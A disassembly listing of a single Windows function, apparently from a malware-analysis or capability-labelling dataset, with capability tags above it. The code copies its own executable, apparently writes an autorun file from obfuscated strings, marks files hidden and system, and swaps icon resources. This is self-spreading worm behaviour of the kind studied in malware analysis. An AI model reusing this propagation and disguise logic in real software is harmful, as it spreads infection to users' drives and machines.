Function at 0x403e60
Capabilities:
Copy file
Extract resource via kernel32 functions
Read file on windows
Set file attributes
Write file on windows

Disassembly:
sub esp, 0xe20
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x528]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0xe34]
lea ebp, [esp + 0x220]
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, ebp
lea ebp, [esp + 0x220]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [0x40f978]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, ebp
mov ebp, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea ebp, [esp + 0x118]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x118]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.auto
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x118]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.run.
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x11c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40f220
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x224]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x530]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [esp + 0x220]
push 0x40f21c
push edx
mov dword [esp + 0x18], ebx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
cmp esi, ebx
je 0x40403a
mov dword [esp + 0x10], ebx
or edi, 0xffffffff
mov ebp, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push edi
push esi
call ebp
push esi
call dword [sym.imp.MSVCRT.dll_fgetc]
add esp, 0x10
cmp al, 0xaa
jne 0x403ff6
sub edi, 0x32
add ebx, 0x32
cmp edi, 0xfffff82f
jg 0x403fce
mov edi, ebx
push 2
neg edi
push edi
push esi
mov dword [esp + 0x1c], ebx
call ebp
push esi
push 1
lea eax, [esp + 0x644]
push ebx
push eax
call dword [sym.imp.MSVCRT.dll_fread]
push 2
push edi
push esi
call ebp
push esi
call dword [sym.imp.MSVCRT.dll_ftell]
mov ecx, dword [esi + 0x10]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__chsize]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x38
jmp 0x404040
mov ebp, dword [sym.imp.MSVCRT.dll_fseek]
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceA]
push 0xe
push 3
push 0
call edi
push 3
push 3
push 0
mov esi, eax
call edi
test esi, esi
mov ebx, eax
je 0x4040f7
test ebx, ebx
je 0x4040f7
mov edi, dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
call edi
push ebx
push 0
mov ebp, eax
call edi
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [esp + 0x18], eax
call ebp
mov edi, eax
mov edx, dword [esp + 0x14]
push edx
call ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
mov ebp, eax
call esi
push ebx
push 0
mov dword [esp + 0x1c], eax
call esi
mov ebx, eax
lea eax, [esp + 0x220]
push 0
push eax
mov word [edi + 0x12], 1
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov esi, eax
mov ecx, dword [esp + 0x14]
push ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push 0x409
push 1
push 0xe
push esi
call edi
push ebx
push ebp
push 0x409
push 1
push 3
push esi
call edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
mov ebp, dword [sym.imp.MSVCRT.dll_fseek]
mov eax, dword [esp + 0xe38]
test eax, eax
je 0x4043d1
mov edi, str.25fef5545c846d548cfe15fe97af857dd58d16ee
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
push ecx
call fcn.00403c10
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x32c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, edx
lea edx, [esp + 0x32c]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [0x40f978]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x32c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._flash
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.ee97af64bcd49c9c1d847cd48c1de5849494f48cdc16ee
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
push ecx
call fcn.00403c10
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x330]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x330]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [0x40f978]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x330]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._flash
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x20]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.ee97afb4e4848c1664bcd49c9c666e8edc9c9c9e4697
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x20]
push ecx
call fcn.00403c10
lea edx, [esp + 0x334]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x24]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.aff5e55db5858d16857cd48cfecd849cdcd4
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x24]
push ecx
call fcn.00403c10
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x338]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x28]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.6c97af5464d4f4545c847c9cf434167697af
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x28]
push ecx
call fcn.00403c10
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x33c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x12c]
and ecx, 3
push 0x40f020
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 0x1c
test esi, esi
je 0x4043c1
lea ecx, [esp + 0x328]
push ecx
push esi
call dword [sym.imp.MSVCRT.dll_fprintf]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0xc
lea edx, [esp + 0x118]
push 6
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x220]
push 0x40f21c
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x404414
push 2
push 0
push esi
call ebp
mov ecx, dword [esp + 0x1c]
push esi
push 1
lea edx, [esp + 0x644]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x20
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xe20
ret 8